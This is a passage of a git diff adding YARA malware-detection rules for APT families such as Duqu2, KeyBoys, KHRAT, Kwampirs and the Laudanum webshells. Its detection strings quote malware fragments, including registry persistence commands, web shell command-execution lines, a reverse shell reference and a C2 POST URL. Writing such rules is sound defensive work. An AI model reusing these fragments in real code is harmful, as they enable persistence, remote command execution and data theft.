+	condition:
+		uint16(0) == 0x5a4d and filesize < 82KB and all of them
+}
+
+rule APT_Kaspersky_Duqu2_msi3_32 {
+	meta:
+		description = "Kaspersky APT Report - Duqu2 Sample"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://goo.gl/7yKyOj"
+		date = "2015-06-10"
+		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
+		id = "6cbea2e7-f406-57cf-b9c8-9d84b1480035"
+	strings:
+		$s0 = "ProcessUserAccounts" fullword ascii /* PEStudio Blacklist: strings */
+		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide /* PEStudio Blacklist: strings */
+		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
+		$s4 = "msi3_32.dll" fullword wide
+		$s5 = "RunDLL" fullword ascii
+		$s6 = "MSI Custom Action v3" fullword wide
+		$s7 = "msi3_32" fullword wide
+		$s8 = "Operating System" fullword wide /* PEStudio Blacklist: strings */ /* Goodware String - occured 9203 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 72KB and all of them
+}
diff --git a/yara-Neo23x0/apt_ke3chang.yar b/yara-Neo23x0/apt_ke3chang.yar
new file mode 100644
index 0000000..8952e43
--- /dev/null
+++ b/yara-Neo23x0/apt_ke3chang.yar
@@ -0,0 +1,42 @@
+rule APT_KE3CHANG_TMPFILE: APT KE3CHANG TMPFILE {
+   meta:
+      description = "Detects Strings left in TMP Files created by K3CHANG Backdoor Ketrican"
+      author = "Markus Neis, Swisscom"
+      reference = "https://app.any.run/tasks/a96f4f9d-c27d-490b-b5d3-e3be0a1c93e9/"
+      date = "2020-06-18"
+      hash1 = "4ef11e84d5203c0c425d1a76d4bf579883d40577c2e781cdccc2cc4c8a8d346f"
+      id = "84d411af-ea3d-5862-8c2f-7caca60c1b66"
+   strings:
+      $pps1 = "PSParentPath             : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
+      $pps2 = "PSPath                   : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
+      $psp1 = ": Microsoft.PowerShell.Core\\Registry" ascii
+
+      $s4 = "PSChildName  : PhishingFilter" fullword ascii
+      $s1 = "DisableFirstRunCustomize : 2" fullword ascii
+      $s7 = "PSChildName  : 3" fullword ascii
+      $s8 = "2500         : 3" fullword ascii
+
+   condition:
+      uint16(0) == 0x5350 and filesize < 1KB and $psp1 and 1 of ($pps*) and 1 of ($s*)
+}
+
+rule APT_MAL_Ke3chang_Ketrican_Jun20_1 {
+   meta:
+      description = "Detects Ketrican malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "BfV Cyber-Brief Nr. 01/2020"
+      date = "2020-06-18"
+      hash1 = "02ea0bc17875ab403c05b50205389065283c59e01de55e68cee4cf340ecea046"
+      hash2 = "f3efa600b2fa1c3c85f904a300fec56104d2caaabbb39a50a28f60e0fdb1df39"
+      id = "ccd8322e-c822-512a-9ac5-eabc9d09640b"
+   strings:
+      $xc1 = { 00 59 89 85 D4 FB FF FF 8B 85 D4 FB FF FF 89 45
+               FC 68 E0 58 40 00 8F 45 FC E9 }
+
+      $op1 = { 6a 53 58 66 89 85 24 ff ff ff 6a 79 58 66 89 85 }
+      $op2 = { 8d 45 bc 50 53 53 6a 1c 8d 85 10 ff ff ff 50 ff }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 300KB and
+      1 of ($x*) or 2 of them
+}
diff --git a/yara-Neo23x0/apt_keyboys.yar b/yara-Neo23x0/apt_keyboys.yar
new file mode 100644
index 0000000..2c5ed7c
--- /dev/null
+++ b/yara-Neo23x0/apt_keyboys.yar
@@ -0,0 +1,155 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-02
+   Identifier: Keyboys
+   Reference: http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule KeyBoys_malware_1 {
+   meta:
+      description = "Detects Keyboys malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html"
+      date = "2017-11-02"
+      hash1 = "1d716cee0f318ee14d7c3b946a4626a1afe6bb47f69668065e00e099be362e22"
+      hash2 = "a6e9951583073ab2598680b17b8b99bab280d6dca86906243bafaf3febdf1565"
+      hash3 = "34f740e5d845710ede1d942560f503e117600bcc7c5c17e03c09bfc66556196c"
+      hash4 = "750f4a9ae44438bf053ffb344b959000ea624d1964306e4b3806250f4de94bc8"
+      hash5 = "fc84856814307a475300d2a44e8d15635dedd02dc09a088a47d1db03bc309925"
+      hash6 = "0f9a7efcd3a2b1441834dae7b43cd8d48b4fc1daeb2c081f908ac5a1369de753"
+      id = "4e334f62-6ffc-55c3-bcbe-ff4a80fb007d"
+   strings:
+      $x1 = "reg add HKLM\\%s\\Parameters /v ServiceDll /t REG_EXPAND_SZ /d \"%s\" /f" fullword ascii
+      $x3 = "Internet using \\svchost.exe -k  -n 3" fullword ascii
+      $x4 = "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v SFCDisable /t REG_DWORD /d 4 /f" fullword ascii
+
+      $s1 = "sc create %s binpath= \"%s\" Type= share Start= auto DisplayName= \"%s\"" fullword ascii
+      $s2 = "ExecCmd:%s" fullword ascii
+      $s3 = "szCommand : %s" fullword ascii
+      $s4 = "Current user is a member of the %s\\%s group" fullword ascii
+      $s5 = "icacls %s /grant administrators:F" fullword ascii
+      $s6 = "Ping 127.0.0.1 goto Repeat" fullword ascii
+      $s7 = "Start MoveFile %s -> %s" fullword ascii
+      $s8 = "move %s\\dllcache%s %s\\dllcache\\%s" fullword ascii
+      $s9 = "%s\\cmd.exe /c \"%s\"" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and (
+         pe.imphash() == "68f7eced34c46808756db4b0c45fb589" or
+         ( pe.exports("Insys") and pe.exports("Inuser") and pe.exports("SSSS") ) or
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+/* Update March 2018 */
+
+rule KeyBoy_InstallClient {
+   meta:
+      description = "Detects KeyBoy InstallClient"
+      author = "Markus Neis, Florian Roth"
+      reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+      date = "2018-03-26"
+      hash1 = "85d32cb3ae046a38254b953a00b37bb87047ec435edb0ce359a867447ee30f8b"
+      hash2 = "b0f120b11f727f197353bc2c98d606ed08a06f14a1c012d3db6fe0a812df528a"
+      hash1 = "d65f809f7684b28a6fa2d9397582f350318027999be3acf1241ff44d4df36a3a"
+      id = "d1359f35-d6cd-502b-8cf7-6215bf5e62ba"
+   strings:
+      $x1 = "egsvr32.exe \"/u bitsadmin /canceft\\windows\\currebitsadmin" ascii
+      $x2 = "/addfibitsadmin /Resumbitsadmin /SetNosoftware\\microsotifyCmdLine " ascii
+      $x3 = "D:\\Work\\Project\\VS\\house\\Apple\\" ascii
+      $x4 = "Bj+I11T6z9HFMG5Z5FMT/u62z9zw8FyWV0xrcK7HcYXkiqnAy5tc/iJuKtwM8CT3sFNuQu8xDZQGSR6D8/Bc/Dpuz8gMJFz+IrYqNAzwuPIitg==" fullword ascii
+      $x5 = "szCmd1:%s" fullword ascii
+
+      $s1 = "cmd.exe /c \"%s\"" fullword ascii
+      $s4 = "rundll32.exe %s Main" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 3000KB and ( 1 of ($x*) or 2 of them )
+}
+
+rule KeyBoy_wab32res {
+   meta:
+      description = "Detects KeyBoy Loader wab32res.dll"
+      author = "Markus Neis, Florian Roth"
+      reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+      date = "2018-03-26"
+      hash1 = "02281e26e89b61d84e2df66a0eeb729c5babd94607b1422505cd388843dd5456"
+      hash2 = "fb9c9cbf6925de8c7b6ce8e7a8d5290e628be0b82a58f3e968426c0f734f38f6"
+      id = "0e4045a7-1c45-5043-9e10-e969219b67f8"
+   strings:
+      $x1 = "B4490-2314-55C1- /Processid:{321bitsadmin /canceft\\windows\\curresoftware\\microso" fullword ascii
+      $x2 = "D:\\Work\\VS\\House\\TSSL\\TSSL\\TClient" ascii
+      $x3 = "\\Release\\FakeRun.pdb" ascii
+      $x4 = "FakeRun.dll" fullword ascii
+
+      $s1 = "cmd.exe /c \"%s\"" fullword ascii
+      $s2 = "CreateProcess failed (%d)" fullword ascii
+      $s3 = "CreateProcess %s " fullword ascii
+      $s4 = "FindResource %s error " fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and ( 1 of ($x*) or 4 of them )
+}
+
+rule KeyBoy_rasauto {
+   meta:
+      description = "Detects KeyBoy ServiceClient"
+      author = "Markus Neis, Florian Roth"
+      reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+      date = "2018-03-26"
+      hash1 = "49df4fec76a0ffaee5e4d933a734126c1a7b32d1c9cb5ab22a868e8bfc653245"
+      id = "b6c72a91-fda1-5f40-804f-896b25a8813f"
+   strings:
+      $x1 = "rundll32.exe %s SSSS & exit" fullword ascii
+      $x2 = "D:\\Work\\Project\\VS\\HSSL\\HSSL_Unicode _2\\Release\\ServiceClient.pdb" fullword ascii
+
+      $s1 = "cmd.exe /c \"%s\"" fullword ascii
+      $s2 = "CreateProcess failed (%d)" fullword ascii
+      $s3 = "ServiceClient.dll" fullword ascii
+      $s4 = "NtWow64QueryInformationProcess64 failed" fullword ascii
+      $s5 = "pid:%d CmdLine:%S" fullword ascii
+      $s6 = "rasauto32.ServiceMain" fullword ascii
+      $s7 = "del /q/f %s\\%s*" fullword ascii
+      $s8 = "szTmpDll:%s" fullword ascii
+      $s9 = "lpCmdLine:%s" fullword ascii
+      $s0 = "ReleaseFileFromRes:%s ok!" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 1000KB and (
+         pe.exports("SSSS") or
+         1 of ($x*) or
+         4 of them
+      )
+}
+
+rule KeyBoy_876_0x4e20000 {
+   meta:
+      description = "Detects KeyBoy Backdoor"
+      author = "Markus Neis, Florian Roth"
+      reference = "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/"
+      date = "2018-03-26"
+      hash1 = "6e900e5b6dc4f21a004c5b5908c81f055db0d7026b3c5e105708586f85d3e334"
+      id = "0b871f62-0f7c-5c94-9b3d-f68832ab64b4"
+   strings:
+      $x1 = "%s\\rundll32.exe %s ServiceTake %s %s" fullword ascii
+      $x2 = "#%sCmd shell is not running,or your cmd is error!" fullword ascii
+      $x3 = "Take Screen Error,May no user login!" fullword ascii
+      $x4 = "Get logon user fail!" fullword ascii
+      $x5 = "8. LoginPasswd:%s" fullword ascii
+      $x6 = "Take Screen Error,service dll not exists" fullword ascii
+
+      $s1 = "taskkill /f /pid %s" fullword ascii
+      $s2 = "TClient.exe" fullword ascii
+      $s3 = "%s\\wab32res.dll" fullword ascii
+      $s4 = "%s\\rasauto.dll" fullword ascii
+      $s5 = "Download file:%s index:%d" fullword ascii
+      $s6 = "LogonUser: [%s]" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 2000KB and (
+        1 of ($x*) or
+        3 of them
+      )
+}
diff --git a/yara-Neo23x0/apt_keylogger_cn.yar b/yara-Neo23x0/apt_keylogger_cn.yar
new file mode 100644
index 0000000..67206a0
--- /dev/null
+++ b/yara-Neo23x0/apt_keylogger_cn.yar
@@ -0,0 +1,35 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-03-07
+	Identifier: CN Keylogger APT
+*/
+
+rule Keylogger_CN_APT {
+	meta:
+		description = "Keylogger - generic rule for a Chinese variant"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2016-03-07"
+		score = 75
+		hash = "3efb3b5be39489f19d83af869f11a8ef8e9a09c3c7c0ad84da31fc45afcf06e7"
+		id = "7be0b175-05a4-5725-ba21-9438c0fcd740"
+	strings:
+		$x1 = "Mozilla/4.0 (compatible; MSIE6.0;Windows NT 5.1)" fullword ascii
+		$x2 = "attrib -s -h -r c:\\ntldr" fullword ascii
+		$x3 = "%sWindows NT %d.%d" fullword ascii
+		$x4 = "Referer: http://%s/%s.aspx?n=" fullword ascii
+
+		$s1 = "\\cmd.exe /c \"systeminfo.exe >> " fullword ascii
+		$s2 = "%s\\cmd.exe /c %s >> \"%s\"" fullword ascii
+		$s3 = "shutdown.exe -r -t 0" fullword ascii
+		$s4 = "dir \"%SystemDrive%\\\" /s /a" fullword ascii
+		$s5 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" fullword ascii
+		$s6 = "http_s.exe" fullword ascii
+		$s7 = "User Agent\\Post Platform\\" ascii
+		$s8 = "desktop.tmp" fullword ascii
+		$s9 = "\\support.icw" ascii
+		$s10 = "agc.tmp" fullword ascii
+	condition:
+		( uint16(0) == 0x5a4d and filesize < 100KB and 1 of ($x*) ) or 3 of them
+}
diff --git a/yara-Neo23x0/apt_khrat.yar b/yara-Neo23x0/apt_khrat.yar
new file mode 100644
index 0000000..6fe1a7f
--- /dev/null
+++ b/yara-Neo23x0/apt_khrat.yar
@@ -0,0 +1,62 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-08-31
+   Identifier: KHRAT RAT
+   Reference: https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule KHRAT_Malware {
+   meta:
+      description = "Detects an Imphash of KHRAT malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+      date = "2017-08-31"
+      hash1 = "53e27fd13f26462a58fa5587ecd244cab4da23aa80cf0ed6eb5ee9f9de2688c1"
+      id = "3e6a5aca-9898-5864-8974-ca4adf272893"
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and pe.imphash() == "6a8478ad861f98f8428a042f74de1944"
+}
+
+rule MAL_KHRAT_script {
+   meta:
+      description = "Rule derived from KHRAT script but can match on other malicious scripts as well"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+      date = "2017-08-31"
+      hash1 = "8c88b4177b59f4cac820b0019bcc7f6d3d50ce4badb689759ab0966780ae32e3"
+      id = "fd345647-4887-560e-a6b2-129a880026aa"
+   strings:
+      $x1 = "CreateObject(\"WScript.Shell\").Run \"schtasks /create /sc MINUTE /tn" ascii
+      $x2 = "CreateObject(\"WScript.Shell\").Run \"rundll32.exe javascript:\"\"\\..\\mshtml,RunHTMLApplication" ascii
+      $x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii
+   condition:
+      1 of them
+}
+
+rule MAL_KHRAT_scritplet {
+   meta:
+      description = "Rule derived from KHRAT scriptlet"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
+      date = "2017-08-31"
+      hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
+      id = "f72d68a3-0409-5401-b6a1-ca8f188d7409"
+   strings:
+      $x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
+      $x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
+
+      $s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
+      $s2 = "Dim http,WMI,Objs,Process" fullword ascii
+      $s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
+      $s4 = "'WScript.Echo http.responseText " fullword ascii
+   condition:
+      uint16(0) == 0x3f3c and filesize < 1KB and ( 1 of ($x*) or 4 of them )
+}
diff --git a/yara-Neo23x0/apt_korplug_fast.yar b/yara-Neo23x0/apt_korplug_fast.yar
new file mode 100644
index 0000000..f6872bc
--- /dev/null
+++ b/yara-Neo23x0/apt_korplug_fast.yar
@@ -0,0 +1,27 @@
+rule Korplug_FAST {
+    meta:
+        description = "Rule to detect Korplug/PlugX FAST variant"
+        license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+        date = "2015-08-20"
+        hash = "c437465db42268332543fbf6fd6a560ca010f19e0fd56562fb83fb704824b371"
+        id = "85c6c460-2902-5bfa-be58-a2b62e3b882e"
+    strings:
+        $x1 = "%s\\rundll32.exe \"%s\", ShadowPlay" fullword ascii
+
+        $a1 = "ShadowPlay" fullword ascii
+
+        $s1 = "%s\\rundll32.exe \"%s\"," fullword ascii
+        $s2 = "nvdisps.dll" fullword ascii
+        $s3 = "%snvdisps.dll" fullword ascii
+        $s4 = "\\winhlp32.exe" ascii
+        $s5 = "nvdisps_user.dat" fullword ascii
+        $s6 = "%snvdisps_user.dat" fullword ascii
+    condition:
+        uint16(0) == 0x5a4d and filesize < 500KB and 
+        (
+            $x1 or
+            ($a1 and 1 of ($s*)) or 
+            4 of ($s*)
+        )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_kwampirs.yar b/yara-Neo23x0/apt_kwampirs.yar
new file mode 100644
index 0000000..f4c2ab8
--- /dev/null
+++ b/yara-Neo23x0/apt_kwampirs.yar
@@ -0,0 +1,70 @@
+rule MAL_Kwampirs_Apr18 {
+    meta:
+        author = "Symantec"
+        family = "Kwampirs"
+        description = "Kwampirs dropper and main payload components"
+        reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
+        date = "2018-04-23"
+        id = "298e2868-e90e-55b4-9115-9f0b43521266"
+    strings:
+        $pubkey = {
+            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
+            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
+            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
+            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
+            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
+            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
+            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
+            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
+            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
+            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
+            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
+            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
+            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
+            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
+            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
+            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
+            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
+            F7 E4 0C B3
+        }
+
+        $network_xor_key = {
+            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
+            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
+            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
+            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
+            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
+            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
+            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
+            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
+            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
+            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
+            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
+            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
+            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
+            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
+            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
+            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
+        }
+
+        $decrypt_string = {
+            85 DB 75 09 85 F6 74 05 89 1E B0 01 C3 85 FF 74
+            4F F6 C3 01 75 4A 85 F6 74 46 8B C3 D1 E8 33 C9
+            40 BA 02 00 00 00 F7 E2 0F 90 C1 F7 D9 0B C8 51
+            E8 12 28 00 00 89 06 8B C8 83 C4 04 33 C0 85 DB
+            74 16 8B D0 83 E2 0F 8A 92 1C 33 02 10 32 14 38
+            40 88 11 41 3B C3 72 EA 66 C7 01 00 00 B0 01 C3
+            32 C0 C3
+        }
+
+        $init_strings = {
+            55 8B EC 83 EC 10 33 C9 B8 0D 00 00 00 BA 02 00
+            00 00 F7 E2 0F 90 C1 53 56 57 F7 D9 0B C8 51 E8
+            B3 27 00 00 BF 05 00 00 00 8D 77 FE BB 4A 35 02
+            10 2B DE 89 5D F4 BA 48 35 02 10 4A BB 4C 35 02
+            10 83 C4 04 2B DF A3 C8 FC 03 10 C7 45 FC 00 00
+            00 00 8D 4F FC 89 55 F8 89 5D F0 EB 06
+        }
+    condition:
+        2 of them
+}
diff --git a/yara-Neo23x0/apt_laudanum_webshells.yar b/yara-Neo23x0/apt_laudanum_webshells.yar
new file mode 100644
index 0000000..cfd7724
--- /dev/null
+++ b/yara-Neo23x0/apt_laudanum_webshells.yar
@@ -0,0 +1,345 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-06-22
+	Identifier: Laudanum
+*/
+
+rule asp_file {
+	meta:
+		description = "Laudanum Injector Tools - file file.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "ff5b1a9598735440bdbaa768b524c639e22f53c5"
+		id = "e2a80d1f-f2bb-573b-b68c-71e4dfa6e1fa"
+	strings:
+		$s1 = "' *** Written by Tim Medin <tim@counterhack.com>" fullword ascii
+		$s2 = "Response.BinaryWrite(stream.Read)" fullword ascii
+		$s3 = "Response.Write(Response.Status & Request.ServerVariables(\"REMOTE_ADDR\"))" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "%><a href=\"<%=Request.ServerVariables(\"URL\")%>\">web root</a><br/><%" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "set folder = fso.GetFolder(path)" fullword ascii
+		$s6 = "Set file = fso.GetFile(filepath)" fullword ascii
+	condition:
+		uint16(0) == 0x253c and filesize < 30KB and 5 of them
+}
+
+rule php_killnc {
+	meta:
+		description = "Laudanum Injector Tools - file killnc.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "c0dee56ee68719d5ec39e773621ffe40b144fda5"
+		id = "241611d3-3636-5a25-b3c3-d45d6cb81c78"
+	strings:
+		$s1 = "if ($_SERVER[\"REMOTE_ADDR\"] == $IP)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "header(\"HTTP/1.0 404 Not Found\");" fullword ascii
+		$s3 = "<?php echo exec('killall nc');?>" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "<title>Laudanum Kill nc</title>" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "foreach ($allowedIPs as $IP) {" fullword ascii
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule asp_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "8bf1ff6f8edd45e3102be5f8a1fe030752f45613"
+		id = "3ae27254-325a-5358-b5aa-ab24b43ad5a6"
+	strings:
+		$s1 = "<form action=\"shell.asp\" method=\"POST\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "%ComSpec% /c dir" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "Set objCmd = wShell.Exec(cmd)" fullword ascii /* PEStudio Blacklist: strings */
+		$s4 = "Server.ScriptTimeout = 180" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "cmd = Request.Form(\"cmd\")" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "' ***  http://laudanum.secureideas.net" fullword ascii
+		$s7 = "Dim wshell, intReturn, strPResult" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 15KB and 4 of them
+}
+
+rule settings {
+	meta:
+		description = "Laudanum Injector Tools - file settings.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "588739b9e4ef2dbb0b4cf630b73295d8134cc801"
+		id = "054b8723-fdfa-51dc-91ae-b915e40b2e54"
+	strings:
+		$s1 = "Port: <input name=\"port\" type=\"text\" value=\"8888\">" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<li>Reverse Shell - " fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<li><a href=\"<?php echo plugins_url('file.php', __FILE__);?>\">File Browser</a>" ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 13KB and all of them
+}
+
+rule asp_proxy {
+	meta:
+		description = "Laudanum Injector Tools - file proxy.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "51e97040d1737618b1775578a772fa6c5a31afd8"
+		id = "6193b48a-b3da-5c1e-84e8-0035d9e7ade6"
+	strings:
+		$s1 = "'response.write \"<br/>  -value:\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "q = q & \"&\" & key & \"=\" & request.querystring(key)(j)" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "for each i in Split(http.getAllResponseHeaders, vbLf)" fullword ascii
+		$s4 = "'urlquery = mid(urltemp, instr(urltemp, \"?\") + 1)" fullword ascii /* PEStudio Blacklist: strings */
+		$s5 = "s = urlscheme & urlhost & urlport & urlpath" fullword ascii /* PEStudio Blacklist: strings */
+		$s6 = "Set http = Server.CreateObject(\"Microsoft.XMLHTTP\")" fullword ascii /* PEStudio Blacklist: strings */
+	condition:
+		filesize < 50KB and all of them
+}
+
+rule cfm_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.cfm"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "885e1783b07c73e7d47d3283be303c9719419b92"
+		id = "5308eecf-a59f-5100-ab60-5034c5b73e7e"
+	strings:
+		$s1 = "Executable: <Input type=\"text\" name=\"cmd\" value=\"cmd.exe\"><br>" fullword ascii /* PEStudio Blacklist: strings */
+		$s2 = "<cfif ( #suppliedCode# neq secretCode )>" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<cfif IsDefined(\"form.cmd\")>" fullword ascii
+	condition:
+		filesize < 20KB and 2 of them
+}
+
+rule aspx_shell {
+	meta:
+		description = "Laudanum Injector Tools - file shell.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://laudanum.inguardians.com/"
+		date = "2015-06-22"
+		hash = "076aa781a004ecb2bf545357fd36dcbafdd68b1a"
+		id = "d4287007-79af-59fa-b8c8-3ac08d75b3bd"
+	strings:
+		$s1 = "remoteIp = HttpContext.Current.Request.Headers[\"X-Forwarded-For\"].Split(new" ascii /* PEStudio Blacklist: strings */
+		$s2 = "remoteIp = Request.UserHostAddress;" fullword ascii /* PEStudio Blacklist: strings */
+		$s3 = "<form method=\"post\" name=\"shell\">" fullword ascii /* PEStudio Blacklist: strings */
